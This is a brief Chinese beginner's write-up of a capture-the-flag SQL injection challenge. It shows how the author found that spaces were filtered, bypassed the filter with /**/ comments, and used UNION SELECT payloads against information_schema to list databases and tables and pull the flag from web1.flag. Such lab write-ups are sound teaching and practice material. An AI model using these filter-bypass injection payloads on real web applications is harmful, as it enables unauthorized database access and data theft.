4.简单的sql注入

wdcsx

　　根据页面提示，到底过滤了什么东西？可以知道一定过滤了什么....
　　分别输入1,2,3有对应的结果

　　使用'会报错，于是
　　构造常用的sql语句：1' and '1'='1

　　没有反应试一试1' and '1'='2

　　还是没反应，工具提示，应该是过滤了什么，改一下sql语句试一试
　　1and1=1

　　可以显示东西，经过判断过滤了空格，我们使用/**/来代替空格
　　试一试1'/**/and/**/'1'='1
　　发现有结果了：
　　于是构建sql语句：
　　判断有那些数据库：
　　1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1
　　可以看到结果：

　　查看有哪些数据表：
　　1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1

　　发现了flag的表，我们猜测应该是在web1数据库中并且字段就是flag（其实就在本页面的数据库中）
　　故：
　　1'/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/'1'='1

　　本人也是初学者，参考了许多大佬的wp 自己写出来后有什么错误的地方，希望大家指出，谢谢！